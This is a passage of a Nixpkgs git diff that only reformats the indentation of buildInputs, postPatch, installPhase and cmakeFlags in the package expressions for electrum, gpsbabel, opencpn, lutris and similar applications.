+  ++ lib.optional enableGamma "-DENABLE_GAMMA=1"
+  ++ lib.optional enableScreen "-DENABLE_SCREEN=1"
+  ++ lib.optional enableYoctolight "-DENABLE_YOCTOLIGHT=1";
 
   depsBuildBuild = [
     pkg-config
@@ -72,28 +71,27 @@ stdenv.mkDerivation rec {
     wayland-scanner
   ];
 
-  buildInputs =
-    [
-      dbus
-      glib
-      udev
-      polkit
-      libusb1
-      libjpeg
-      libmodule
-      libiio
+  buildInputs = [
+    dbus
+    glib
+    udev
+    polkit
+    libusb1
+    libjpeg
+    libmodule
+    libiio
 
-      libXdmcp
-      util-linux
-      libpthreadstubs
-    ]
-    ++ lib.optionals enableDdc [ ddcutil ]
-    ++ lib.optionals enableDpms [ libXext ]
-    ++ lib.optionals enableGamma [ libXrandr ]
-    ++ lib.optionals (enableDpms || enableGamma || enableScreen) [
-      libdrm
-      wayland
-    ];
+    libXdmcp
+    util-linux
+    libpthreadstubs
+  ]
+  ++ lib.optionals enableDdc [ ddcutil ]
+  ++ lib.optionals enableDpms [ libXext ]
+  ++ lib.optionals enableGamma [ libXrandr ]
+  ++ lib.optionals (enableDpms || enableGamma || enableScreen) [
+    libdrm
+    wayland
+  ];
 
   postInstall = ''
     mkdir -p $out/bin
diff --git a/pkgs/applications/misc/clight/default.nix b/pkgs/applications/misc/clight/default.nix
index 820e1f3d62fd..9211941c5ebf 100644
--- a/pkgs/applications/misc/clight/default.nix
+++ b/pkgs/applications/misc/clight/default.nix
@@ -36,19 +36,18 @@ stdenv.mkDerivation rec {
     bash-completion
   ];
 
-  buildInputs =
-    [
-      gsl
-      popt
-      upower
-      clightd
-      systemd
-      geoclue2
-      libconfig
-      libmodule
-    ]
-    ++ lib.optional withGeoclue geoclue2
-    ++ lib.optional withUpower upower;
+  buildInputs = [
+    gsl
+    popt
+    upower
+    clightd
+    systemd
+    geoclue2
+    libconfig
+    libmodule
+  ]
+  ++ lib.optional withGeoclue geoclue2
+  ++ lib.optional withUpower upower;
 
   cmakeFlags = [
     "-DSESSION_BUS_DIR=${placeholder "out"}/share/dbus-1/services"
diff --git a/pkgs/applications/misc/electrum/default.nix b/pkgs/applications/misc/electrum/default.nix
index 4d26bf266e5d..95fa1fba443f 100644
--- a/pkgs/applications/misc/electrum/default.nix
+++ b/pkgs/applications/misc/electrum/default.nix
@@ -83,39 +83,38 @@ python3.pkgs.buildPythonApplication rec {
       pyqt6
     ];
 
-  postPatch =
-    ''
-      # fix compatibility with recent aiorpcx version
-      # (remove as soon as https://github.com/spesmilo/electrum/commit/171aa5ee5ad4e25b9da10f757d9d398e905b4945 is included in source tarball)
-      substituteInPlace ./contrib/requirements/requirements.txt \
-        --replace-fail "aiorpcx>=0.22.0,<0.24" "aiorpcx>=0.22.0,<0.25"
-      substituteInPlace ./run_electrum \
-        --replace-fail "if not ((0, 22, 0) <= aiorpcx._version < (0, 24)):" "if not ((0, 22, 0) <= aiorpcx._version < (0, 25)):" \
-        --replace-fail "aiorpcX version {aiorpcx._version} does not match required: 0.22.0<=ver<0.24" "aiorpcX version {aiorpcx._version} does not match required: 0.22.0<=ver<0.25"
-      substituteInPlace ./electrum/electrum \
-        --replace-fail "if not ((0, 22, 0) <= aiorpcx._version < (0, 24)):" "if not ((0, 22, 0) <= aiorpcx._version < (0, 25)):" \
-        --replace-fail "aiorpcX version {aiorpcx._version} does not match required: 0.22.0<=ver<0.24" "aiorpcX version {aiorpcx._version} does not match required: 0.22.0<=ver<0.25"
+  postPatch = ''
+    # fix compatibility with recent aiorpcx version
+    # (remove as soon as https://github.com/spesmilo/electrum/commit/171aa5ee5ad4e25b9da10f757d9d398e905b4945 is included in source tarball)
+    substituteInPlace ./contrib/requirements/requirements.txt \
+      --replace-fail "aiorpcx>=0.22.0,<0.24" "aiorpcx>=0.22.0,<0.25"
+    substituteInPlace ./run_electrum \
+      --replace-fail "if not ((0, 22, 0) <= aiorpcx._version < (0, 24)):" "if not ((0, 22, 0) <= aiorpcx._version < (0, 25)):" \
+      --replace-fail "aiorpcX version {aiorpcx._version} does not match required: 0.22.0<=ver<0.24" "aiorpcX version {aiorpcx._version} does not match required: 0.22.0<=ver<0.25"
+    substituteInPlace ./electrum/electrum \
+      --replace-fail "if not ((0, 22, 0) <= aiorpcx._version < (0, 24)):" "if not ((0, 22, 0) <= aiorpcx._version < (0, 25)):" \
+      --replace-fail "aiorpcX version {aiorpcx._version} does not match required: 0.22.0<=ver<0.24" "aiorpcX version {aiorpcx._version} does not match required: 0.22.0<=ver<0.25"
 
-      # make compatible with protobuf4 by easing dependencies ...
-      substituteInPlace ./contrib/requirements/requirements.txt \
-        --replace-fail "protobuf>=3.20,<4" "protobuf>=3.20"
-      # ... and regenerating the paymentrequest_pb2.py file
-      protoc --python_out=. electrum/paymentrequest.proto
+    # make compatible with protobuf4 by easing dependencies ...
+    substituteInPlace ./contrib/requirements/requirements.txt \
+      --replace-fail "protobuf>=3.20,<4" "protobuf>=3.20"
+    # ... and regenerating the paymentrequest_pb2.py file
+    protoc --python_out=. electrum/paymentrequest.proto
 
-      substituteInPlace ./electrum/ecc_fast.py \
-        --replace-fail ${libsecp256k1_name} ${secp256k1}/lib/libsecp256k1${stdenv.hostPlatform.extensions.sharedLibrary}
-    ''
-    + (
-      if enableQt then
-        ''
-          substituteInPlace ./electrum/qrscanner.py \
-            --replace-fail ${libzbar_name} ${zbar.lib}/lib/libzbar${stdenv.hostPlatform.extensions.sharedLibrary}
-        ''
-      else
-        ''
-          sed -i '/qdarkstyle/d' contrib/requirements/requirements.txt
-        ''
-    );
+    substituteInPlace ./electrum/ecc_fast.py \
+      --replace-fail ${libsecp256k1_name} ${secp256k1}/lib/libsecp256k1${stdenv.hostPlatform.extensions.sharedLibrary}
+  ''
+  + (
+    if enableQt then
+      ''
+        substituteInPlace ./electrum/qrscanner.py \
+          --replace-fail ${libzbar_name} ${zbar.lib}/lib/libzbar${stdenv.hostPlatform.extensions.sharedLibrary}
+      ''
+    else
+      ''
+        sed -i '/qdarkstyle/d' contrib/requirements/requirements.txt
+      ''
+  );
 
   postInstall = lib.optionalString stdenv.hostPlatform.isLinux ''
     substituteInPlace $out/share/applications/electrum.desktop \
diff --git a/pkgs/applications/misc/electrum/grs.nix b/pkgs/applications/misc/electrum/grs.nix
index 14a25f70836e..b94fb6f0dc0e 100644
--- a/pkgs/applications/misc/electrum/grs.nix
+++ b/pkgs/applications/misc/electrum/grs.nix
@@ -86,28 +86,27 @@ python3.pkgs.buildPythonApplication {
       pyqt6
     ];
 
-  postPatch =
-    ''
-      # make compatible with protobuf4 by easing dependencies ...
-      substituteInPlace ./contrib/requirements/requirements.txt \
-        --replace "protobuf>=3.20,<4" "protobuf>=3.20"
-      # ... and regenerating the paymentrequest_pb2.py file
-      protoc --python_out=. electrum_grs/paymentrequest.proto
+  postPatch = ''
+    # make compatible with protobuf4 by easing dependencies ...
+    substituteInPlace ./contrib/requirements/requirements.txt \
+      --replace "protobuf>=3.20,<4" "protobuf>=3.20"
+    # ... and regenerating the paymentrequest_pb2.py file
+    protoc --python_out=. electrum_grs/paymentrequest.proto
 
-      substituteInPlace ./electrum_grs/ecc_fast.py \
-        --replace ${libsecp256k1_name} ${secp256k1}/lib/libsecp256k1${stdenv.hostPlatform.extensions.sharedLibrary}
-    ''
-    + (
-      if enableQt then
-        ''
-          substituteInPlace ./electrum_grs/qrscanner.py \
-            --replace ${libzbar_name} ${zbar.lib}/lib/libzbar${stdenv.hostPlatform.extensions.sharedLibrary}
-        ''
-      else
-        ''
-          sed -i '/qdarkstyle/d' contrib/requirements/requirements.txt
-        ''
-    );
+    substituteInPlace ./electrum_grs/ecc_fast.py \
+      --replace ${libsecp256k1_name} ${secp256k1}/lib/libsecp256k1${stdenv.hostPlatform.extensions.sharedLibrary}
+  ''
+  + (
+    if enableQt then
+      ''
+        substituteInPlace ./electrum_grs/qrscanner.py \
+          --replace ${libzbar_name} ${zbar.lib}/lib/libzbar${stdenv.hostPlatform.extensions.sharedLibrary}
+      ''
+    else
+      ''
+        sed -i '/qdarkstyle/d' contrib/requirements/requirements.txt
+      ''
+  );
 
   postInstall = lib.optionalString stdenv.hostPlatform.isLinux ''
     substituteInPlace $out/share/applications/electrum-grs.desktop \
diff --git a/pkgs/applications/misc/electrum/ltc.nix b/pkgs/applications/misc/electrum/ltc.nix
index 51df5b17b99d..94c28a2e47c6 100644
--- a/pkgs/applications/misc/electrum/ltc.nix
+++ b/pkgs/applications/misc/electrum/ltc.nix
@@ -115,23 +115,22 @@ python3.pkgs.buildPythonApplication {
     protoc --proto_path=electrum_ltc/ --python_out=electrum_ltc/ electrum_ltc/paymentrequest.proto
   '';
 
-  preBuild =
-    ''
-      sed -i 's,usr_share = .*,usr_share = "'$out'/share",g' setup.py
-      substituteInPlace ./electrum_ltc/ecc_fast.py \
-        --replace ${libsecp256k1_name} ${secp256k1}/lib/libsecp256k1${stdenv.hostPlatform.extensions.sharedLibrary}
-    ''
-    + (
-      if enableQt then
-        ''
-          substituteInPlace ./electrum_ltc/qrscanner.py \
-            --replace ${libzbar_name} ${zbar.lib}/lib/libzbar${stdenv.hostPlatform.extensions.sharedLibrary}
-        ''
-      else
-        ''
-          sed -i '/qdarkstyle/d' contrib/requirements/requirements.txt
-        ''
-    );
+  preBuild = ''
+    sed -i 's,usr_share = .*,usr_share = "'$out'/share",g' setup.py
+    substituteInPlace ./electrum_ltc/ecc_fast.py \
+      --replace ${libsecp256k1_name} ${secp256k1}/lib/libsecp256k1${stdenv.hostPlatform.extensions.sharedLibrary}
+  ''
+  + (
+    if enableQt then
+      ''
+        substituteInPlace ./electrum_ltc/qrscanner.py \
+          --replace ${libzbar_name} ${zbar.lib}/lib/libzbar${stdenv.hostPlatform.extensions.sharedLibrary}
+      ''
+    else
+      ''
+        sed -i '/qdarkstyle/d' contrib/requirements/requirements.txt
+      ''
+  );
 
   postInstall = lib.optionalString stdenv.hostPlatform.isLinux ''
     # Despite setting usr_share above, these files are installed under
diff --git a/pkgs/applications/misc/goldendict/default.nix b/pkgs/applications/misc/goldendict/default.nix
index 241207e275c5..7ef39d33b0b6 100644
--- a/pkgs/applications/misc/goldendict/default.nix
+++ b/pkgs/applications/misc/goldendict/default.nix
@@ -60,33 +60,32 @@ stdenv.mkDerivation rec {
     wrapQtAppsHook
     wrapGAppsHook3
   ];
-  buildInputs =
-    [
-      qtbase
-      qtsvg
-      qtwebkit
-      qttools
-      libvorbis
-      hunspell
-      xz
-      lzo
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      qtx11extras
-      libXtst
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      bzip2
-      libiconv
-    ]
-    ++ lib.optional withCC opencc
-    ++ lib.optional withEpwing libeb
-    ++ lib.optional withExtraTiff libtiff
-    ++ lib.optionals withFFmpeg [
-      libao
-      ffmpeg
-    ]
-    ++ lib.optional withZim zstd;
+  buildInputs = [
+    qtbase
+    qtsvg
+    qtwebkit
+    qttools
+    libvorbis
+    hunspell
+    xz
+    lzo
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    qtx11extras
+    libXtst
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    bzip2
+    libiconv
+  ]
+  ++ lib.optional withCC opencc
+  ++ lib.optional withEpwing libeb
+  ++ lib.optional withExtraTiff libtiff
+  ++ lib.optionals withFFmpeg [
+    libao
+    ffmpeg
+  ]
+  ++ lib.optional withZim zstd;
 
   qmakeFlags = [
     "goldendict.pro"
diff --git a/pkgs/applications/misc/gpsbabel/default.nix b/pkgs/applications/misc/gpsbabel/default.nix
index 917e2b333a1d..b295a61ac05e 100644
--- a/pkgs/applications/misc/gpsbabel/default.nix
+++ b/pkgs/applications/misc/gpsbabel/default.nix
@@ -38,50 +38,47 @@ stdenv.mkDerivation rec {
 
   patches = map fetchurl (import ./debian-patches.nix);
 
-  postPatch =
-    ''
-      patchShebangs testo
-    ''
-    + lib.optionalString withDoc ''
-      substituteInPlace gbversion.h.qmake.in \
-        --replace /usr/share/doc $doc/share/doc
+  postPatch = ''
+    patchShebangs testo
+  ''
+  + lib.optionalString withDoc ''
+    substituteInPlace gbversion.h.qmake.in \
+      --replace /usr/share/doc $doc/share/doc
 
-      substituteInPlace testo.d/serialization.test \
-        --replace /usr/share/doc $doc/share/doc
+    substituteInPlace testo.d/serialization.test \
+      --replace /usr/share/doc $doc/share/doc
 
-      substituteInPlace xmldoc/gpsbabel_man.xml \
-        --replace /usr/share/doc $doc/share/doc
-    '';
+    substituteInPlace xmldoc/gpsbabel_man.xml \
+      --replace /usr/share/doc $doc/share/doc
+  '';
 
   outputs = [ "out" ] ++ lib.optional withDoc "doc";
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      qmake
-    ]
-    ++ lib.optionals withGUI [
-      qttools
-      wrapQtAppsHook
-    ]
-    ++ lib.optionals withDoc [
-      docbook_xml_dtd_45
-      docbook_xsl
-      expat
-      fop
-      libxml2
-      libxslt
-      perl
-    ];
+  nativeBuildInputs = [
+    pkg-config
+    qmake
+  ]
+  ++ lib.optionals withGUI [
+    qttools
+    wrapQtAppsHook
+  ]
+  ++ lib.optionals withDoc [
+    docbook_xml_dtd_45
+    docbook_xsl
+    expat
+    fop
+    libxml2
+    libxslt
+    perl
+  ];
 
-  buildInputs =
-    [
-      libusb1
-      shapelib
-      zlib
-    ]
-    ++ lib.optional withGUI qtserialport
-    ++ lib.optional (withGUI && withMapPreview) qtwebengine;
+  buildInputs = [
+    libusb1
+    shapelib
+    zlib
+  ]
+  ++ lib.optional withGUI qtserialport
+  ++ lib.optional (withGUI && withMapPreview) qtwebengine;
 
   nativeCheckInputs = [
     libxml2
@@ -92,15 +89,14 @@ stdenv.mkDerivation rec {
     lrelease gui/*.ts gui/coretool/*.ts
   '';
 
-  qmakeFlags =
-    [
-      "WITH_LIBUSB=pkgconfig"
-      "WITH_SHAPELIB=pkgconfig"
-      "WITH_ZLIB=pkgconfig"
-    ]
-    ++ lib.optionals (withGUI && !withMapPreview) [
-      "CONFIG+=disable-mappreview"
-    ];
+  qmakeFlags = [
+    "WITH_LIBUSB=pkgconfig"
+    "WITH_SHAPELIB=pkgconfig"
+    "WITH_ZLIB=pkgconfig"
+  ]
+  ++ lib.optionals (withGUI && !withMapPreview) [
+    "CONFIG+=disable-mappreview"
+  ];
 
   makeFlags =
     lib.optional withGUI "gui"
@@ -118,30 +114,29 @@ stdenv.mkDerivation rec {
 
   dontWrapQtApps = true;
 
-  installPhase =
-    ''
-      install -Dm755 gpsbabel -t $out/bin
-    ''
-    + lib.optionalString withGUI (
-      if stdenv.hostPlatform.isDarwin then
-        ''
-          mkdir -p $out/Applications
-          mv gui/GPSBabelFE.app $out/Applications
-          install -Dm644 gui/*.qm gui/coretool/*.qm -t $out/Applications/GPSBabelFE.app/Contents/Resources/translations
-          ln -s $out/bin/gpsbabel $out/Applications/GPSBabelFE.app/Contents/MacOS
-        ''
-      else
-        ''
-          install -Dm755 gui/objects/gpsbabelfe -t $out/bin
-          install -Dm644 gui/gpsbabel.desktop -t $out/share/application
-          install -Dm644 gui/images/appicon.png $out/share/icons/hicolor/512x512/apps/gpsbabel.png
-          install -Dm644 gui/*.qm gui/coretool/*.qm -t $out/share/gpsbabel/translations
-        ''
-    )
-    + lib.optionalString withDoc ''
-      install -Dm655 gpsbabel.{html,pdf} -t $doc/share/doc/gpsbabel
-      cp -r html $doc/share/doc/gpsbabel
-    '';
+  installPhase = ''
+    install -Dm755 gpsbabel -t $out/bin
+  ''
+  + lib.optionalString withGUI (
+    if stdenv.hostPlatform.isDarwin then
+      ''
+        mkdir -p $out/Applications
+        mv gui/GPSBabelFE.app $out/Applications
+        install -Dm644 gui/*.qm gui/coretool/*.qm -t $out/Applications/GPSBabelFE.app/Contents/Resources/translations
+        ln -s $out/bin/gpsbabel $out/Applications/GPSBabelFE.app/Contents/MacOS
+      ''
+    else
+      ''
+        install -Dm755 gui/objects/gpsbabelfe -t $out/bin
+        install -Dm644 gui/gpsbabel.desktop -t $out/share/application
+        install -Dm644 gui/images/appicon.png $out/share/icons/hicolor/512x512/apps/gpsbabel.png
+        install -Dm644 gui/*.qm gui/coretool/*.qm -t $out/share/gpsbabel/translations
+      ''
+  )
+  + lib.optionalString withDoc ''
+    install -Dm655 gpsbabel.{html,pdf} -t $doc/share/doc/gpsbabel
+    cp -r html $doc/share/doc/gpsbabel
+  '';
 
   postFixup = lib.optionalString withGUI (
     if stdenv.hostPlatform.isDarwin then
diff --git a/pkgs/applications/misc/gpxsee/default.nix b/pkgs/applications/misc/gpxsee/default.nix
index 54e0893960f8..d384e59c551e 100644
--- a/pkgs/applications/misc/gpxsee/default.nix
+++ b/pkgs/applications/misc/gpxsee/default.nix
@@ -27,22 +27,21 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-94zCDtja1b85Wgz4slG17ETT/TMPPCyXld3WdtGjBzA=";
   };
 
-  buildInputs =
-    [
-      qtserialport
-    ]
-    ++ (
-      if isQt6 then
-        [
-          qtbase
-          qtpositioning
-          qtsvg
-        ]
-      else
-        [
-          qtlocation
-        ]
-    );
+  buildInputs = [
+    qtserialport
+  ]
+  ++ (
+    if isQt6 then
+      [
+        qtbase
+        qtpositioning
+        qtsvg
+      ]
+    else
+      [
+        qtlocation
+      ]
+  );
 
   nativeBuildInputs = [
     qmake
diff --git a/pkgs/applications/misc/ikiwiki/default.nix b/pkgs/applications/misc/ikiwiki/default.nix
index c0c18b68af7b..8f9b3e2e00c0 100644
--- a/pkgs/applications/misc/ikiwiki/default.nix
+++ b/pkgs/applications/misc/ikiwiki/default.nix
@@ -38,49 +38,48 @@ stdenv.mkDerivation rec {
   };
 
   nativeBuildInputs = [ makeWrapper ];
-  buildInputs =
-    [
-      which
-      highlight
-    ]
-    ++ (with perlPackages; [
-      perl
-      TextMarkdown
-      URI
-      HTMLParser
-      HTMLScrubber
-      HTMLTemplate
-      TimeDate
-      gettext
-      DBFile
-      CGISession
-      CGIFormBuilder
-      LocaleGettext
-      RpcXML
-      XMLSimple
-      ImageMagick
-      YAML
-      YAMLLibYAML
-      HTMLTree
-      AuthenPassphrase
-      NetOpenIDConsumer
-      LWPxParanoidAgent
-      CryptSSLeay
-    ])
-    ++ lib.optionals docutilsSupport [
-      (python3.withPackages (pp: with pp; [ pygments ]))
-      docutils
-    ]
-    ++ lib.optionals gitSupport [ git ]
-    ++ lib.optionals monotoneSupport [ monotone ]
-    ++ lib.optionals bazaarSupport [ breezy ]
-    ++ lib.optionals cvsSupport [
-      cvs
-      cvsps
-      perlPackages.Filechdir
-    ]
-    ++ lib.optionals subversionSupport [ subversion ]
-    ++ lib.optionals mercurialSupport [ mercurial ];
+  buildInputs = [
+    which
+    highlight
+  ]
+  ++ (with perlPackages; [
+    perl
+    TextMarkdown
+    URI
+    HTMLParser
+    HTMLScrubber
+    HTMLTemplate
+    TimeDate
+    gettext
+    DBFile
+    CGISession
+    CGIFormBuilder
+    LocaleGettext
+    RpcXML
+    XMLSimple
+    ImageMagick
+    YAML
+    YAMLLibYAML
+    HTMLTree
+    AuthenPassphrase
+    NetOpenIDConsumer
+    LWPxParanoidAgent
+    CryptSSLeay
+  ])
+  ++ lib.optionals docutilsSupport [
+    (python3.withPackages (pp: with pp; [ pygments ]))
+    docutils
+  ]
+  ++ lib.optionals gitSupport [ git ]
+  ++ lib.optionals monotoneSupport [ monotone ]
+  ++ lib.optionals bazaarSupport [ breezy ]
+  ++ lib.optionals cvsSupport [
+    cvs
+    cvsps
+    perlPackages.Filechdir
+  ]
+  ++ lib.optionals subversionSupport [ subversion ]
+  ++ lib.optionals mercurialSupport [ mercurial ];
 
   patches = [
     # A few markdown tests fail, but this is expected when using Text::Markdown
diff --git a/pkgs/applications/misc/inochi2d/generic.nix b/pkgs/applications/misc/inochi2d/generic.nix
index 7c9a2d1cecab..5817acd8b1c1 100644
--- a/pkgs/applications/misc/inochi2d/generic.nix
+++ b/pkgs/applications/misc/inochi2d/generic.nix
@@ -147,6 +147,7 @@ buildDubPackage (
       license = lib.licenses.bsd2;
       mainProgram = pname;
       maintainers = with lib.maintainers; [ tomasajt ];
-    } // meta;
+    }
+    // meta;
   }
 )
diff --git a/pkgs/applications/misc/input-leap/default.nix b/pkgs/applications/misc/input-leap/default.nix
index 3592f13d80a8..808808b91f0d 100644
--- a/pkgs/applications/misc/input-leap/default.nix
+++ b/pkgs/applications/misc/input-leap/default.nix
@@ -49,31 +49,31 @@ stdenv.mkDerivation rec {
     qttools
   ];
 
-  buildInputs =
-    [
-      curl
-      qtbase
-      avahi
-      libX11
-      libXext
-      libXtst
-      libXinerama
-      libXrandr
-      libXdmcp
-      libICE
-      libSM
-    ]
-    ++ lib.optionals withLibei [
-      libei
-      libportal
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      pkgsStatic.openssl
-    ];
+  buildInputs = [
+    curl
+    qtbase
+    avahi
+    libX11
+    libXext
+    libXtst
+    libXinerama
+    libXrandr
+    libXdmcp
+    libICE
+    libSM
+  ]
+  ++ lib.optionals withLibei [
+    libei
+    libportal
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    pkgsStatic.openssl
+  ];
 
   cmakeFlags = [
     "-DINPUTLEAP_REVISION=${builtins.substring 0 8 src.rev}"
-  ] ++ lib.optional withLibei "-DINPUTLEAP_BUILD_LIBEI=ON";
+  ]
+  ++ lib.optional withLibei "-DINPUTLEAP_BUILD_LIBEI=ON";
 
   dontWrapGApps = true;
   preFixup = ''
diff --git a/pkgs/applications/misc/kemai/default.nix b/pkgs/applications/misc/kemai/default.nix
index 4a26b3b8a74c..7ca6353aa9fc 100644
--- a/pkgs/applications/misc/kemai/default.nix
+++ b/pkgs/applications/misc/kemai/default.nix
@@ -53,7 +53,8 @@ stdenv.mkDerivation (finalAttrs: {
     qttools
     range-v3
     spdlog
-  ] ++ lib.optional stdenv.hostPlatform.isLinux qtwayland;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux qtwayland;
 
   cmakeFlags = [
     (lib.cmakeBool "KEMAI_ENABLE_UPDATE_CHECK" false)
diff --git a/pkgs/applications/misc/lutris/default.nix b/pkgs/applications/misc/lutris/default.nix
index 03938f8aabbc..1b30138301e0 100644
--- a/pkgs/applications/misc/lutris/default.nix
+++ b/pkgs/applications/misc/lutris/default.nix
@@ -103,25 +103,24 @@ buildPythonApplication rec {
     wrapGAppsHook3
     pkg-config
   ];
-  buildInputs =
-    [
-      atk
-      gdk-pixbuf
-      glib-networking
-      gnome-desktop
-      gtk3
-      libnotify
-      pango
-      webkitgtk_4_1
-    ]
-    ++ (with gst_all_1; [
-      gst-libav
-      gst-plugins-bad
-      gst-plugins-base
-      gst-plugins-good
-      gst-plugins-ugly
-      gstreamer
-    ]);
+  buildInputs = [
+    atk
+    gdk-pixbuf
+    glib-networking
+    gnome-desktop
+    gtk3
+    libnotify
+    pango
+    webkitgtk_4_1
+  ]
+  ++ (with gst_all_1; [
+    gst-libav
+    gst-plugins-bad
+    gst-plugins-base
+    gst-plugins-good
+    gst-plugins-ugly
+    gstreamer
+  ]);
 
   # See `install_requires` in https://github.com/lutris/lutris/blob/master/setup.py
   propagatedBuildInputs = [
diff --git a/pkgs/applications/misc/mediaelch/default.nix b/pkgs/applications/misc/mediaelch/default.nix
index d815c354f8e6..96caf5a8935a 100644
--- a/pkgs/applications/misc/mediaelch/default.nix
+++ b/pkgs/applications/misc/mediaelch/default.nix
@@ -40,22 +40,21 @@ stdenv.mkDerivation rec {
     wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      curl
-      ffmpeg
-      libmediainfo
-      libzen
-      qtbase
-      qtdeclarative
-      qtmultimedia
-      qtsvg
-      qtwayland
-      quazip
-    ]
-    ++ lib.optionals (qtVersion == "6") [
-      qt5compat
-    ];
+  buildInputs = [
+    curl
+    ffmpeg
+    libmediainfo
+    libzen
+    qtbase
+    qtdeclarative
+    qtmultimedia
+    qtsvg
+    qtwayland
+    quazip
+  ]
+  ++ lib.optionals (qtVersion == "6") [
+    qt5compat
+  ];
 
   cmakeFlags = [
     "-DDISABLE_UPDATER=ON"
diff --git a/pkgs/applications/misc/meerk40t/default.nix b/pkgs/applications/misc/meerk40t/default.nix
index 5043e43ddee6..3a62b6808095 100644
--- a/pkgs/applications/misc/meerk40t/default.nix
+++ b/pkgs/applications/misc/meerk40t/default.nix
@@ -19,13 +19,12 @@ python3Packages.buildPythonApplication rec {
     hash = "sha256-3UO2M4mDzRdzhS+H2gyzJo5W4JWGK+qt1Gg9LHGmdOY=";
   };
 
-  nativeBuildInputs =
-    [
-      wrapGAppsHook3
-    ]
-    ++ (with python3Packages; [
-      setuptools
-    ]);
+  nativeBuildInputs = [
+    wrapGAppsHook3
+  ]
+  ++ (with python3Packages; [
+    setuptools
+  ]);
 
   # prevent double wrapping
   dontWrapGApps = true;
diff --git a/pkgs/applications/misc/opencpn/default.nix b/pkgs/applications/misc/opencpn/default.nix
index 32b73a4d52f4..d9c0ebe64cad 100644
--- a/pkgs/applications/misc/opencpn/default.nix
+++ b/pkgs/applications/misc/opencpn/default.nix
@@ -60,76 +60,73 @@ stdenv.mkDerivation (finalAttrs: {
     sed -i '/fixup_bundle/d; /NO_DEFAULT_PATH/d' CMakeLists.txt
   '';
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-      gtest
-      wrapGAppsHook3
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      lsb-release
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      DarwinTools
-      makeWrapper
-    ];
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+    gtest
+    wrapGAppsHook3
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    lsb-release
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    DarwinTools
+    makeWrapper
+  ];
 
-  buildInputs =
-    [
-      at-spi2-core
-      curl
-      dbus
-      flac
-      gitMinimal
-    ]
-    ++ [
-      glew
-      jasper
-      libGLU
-      libarchive
-      libdatrie
-      libepoxy
-      libexif
-      libogg
-      libopus
-      libsndfile
-      libthai
-      libunarr
-      libusb1
-      libvorbis
-      libxkbcommon
-      lz4
-      libmpg123
-      portaudio
-      rapidjson
-      sqlite
-      tinyxml
-      wxGTK32
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-utils
-      libselinux
-      libsepol
-      util-linux
-      xorg.libXdmcp
-      xorg.libXtst
-    ]
-    ++ lib.optionals (lib.meta.availableOn stdenv.hostPlatform elfutils) [
-      elfutils
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      lame
-    ];
+  buildInputs = [
+    at-spi2-core
+    curl
+    dbus
+    flac
+    gitMinimal
+  ]
+  ++ [
+    glew
+    jasper
+    libGLU
+    libarchive
+    libdatrie
+    libepoxy
+    libexif
+    libogg
+    libopus
+    libsndfile
+    libthai
+    libunarr
+    libusb1
+    libvorbis
+    libxkbcommon
+    lz4
+    libmpg123
+    portaudio
+    rapidjson
+    sqlite
+    tinyxml
+    wxGTK32
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-utils
+    libselinux
+    libsepol
+    util-linux
+    xorg.libXdmcp
+    xorg.libXtst
+  ]
+  ++ lib.optionals (lib.meta.availableOn stdenv.hostPlatform elfutils) [
+    elfutils
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    lame
+  ];
 
-  cmakeFlags =
-    [
-      "-DOCPN_BUNDLE_DOCS=true"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      # Override OpenCPN platform detection.
-      "-DOCPN_TARGET_TUPLE=unknown;unknown;${stdenv.hostPlatform.linuxArch}"
-    ];
+  cmakeFlags = [
+    "-DOCPN_BUNDLE_DOCS=true"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    # Override OpenCPN platform detection.
+    "-DOCPN_TARGET_TUPLE=unknown;unknown;${stdenv.hostPlatform.linuxArch}"
+  ];
 
   env.NIX_CFLAGS_COMPILE = toString (
     lib.optionals (!stdenv.hostPlatform.isx86) [
diff --git a/pkgs/applications/misc/opentrack/default.nix b/pkgs/applications/misc/opentrack/default.nix
index 8297117956c9..5bb7b9c029a3 100644
--- a/pkgs/applications/misc/opentrack/default.nix
+++ b/pkgs/applications/misc/opentrack/default.nix
@@ -66,7 +66,8 @@ mkDerivation {
     libXdmcp
     libevdev
     aruco
-  ] ++ lib.optionals pkgs.stdenv.targetPlatform.isx86_64 [ wineWowPackages.stable ];
+  ]
+  ++ lib.optionals pkgs.stdenv.targetPlatform.isx86_64 [ wineWowPackages.stable ];
 
   env.NIX_CFLAGS_COMPILE = "-Wall -Wextra -Wpedantic -ffast-math -O3";
   dontWrapQtApps = true;
@@ -76,7 +77,8 @@ mkDerivation {
     "-DCMAKE_BUILD_TYPE=Release"
     "-DSDK_ARUCO_LIBPATH=${aruco}/lib/libaruco.a"
     "-DSDK_XPLANE=${xplaneSdk}"
-  ] ++ lib.optionals pkgs.stdenv.targetPlatform.isx86_64 [ "-DSDK_WINE=ON" ];
+  ]
+  ++ lib.optionals pkgs.stdenv.targetPlatform.isx86_64 [ "-DSDK_WINE=ON" ];
 
   postInstall = ''
     wrapQtApp $out/bin/opentrack
diff --git a/pkgs/applications/misc/pagefind/default.nix b/pkgs/applications/misc/pagefind/default.nix
index fd8505d21977..08b6abd83121 100644
--- a/pkgs/applications/misc/pagefind/default.nix
+++ b/pkgs/applications/misc/pagefind/default.nix
@@ -111,20 +111,19 @@ rustPlatform.buildRustPackage rec {
 
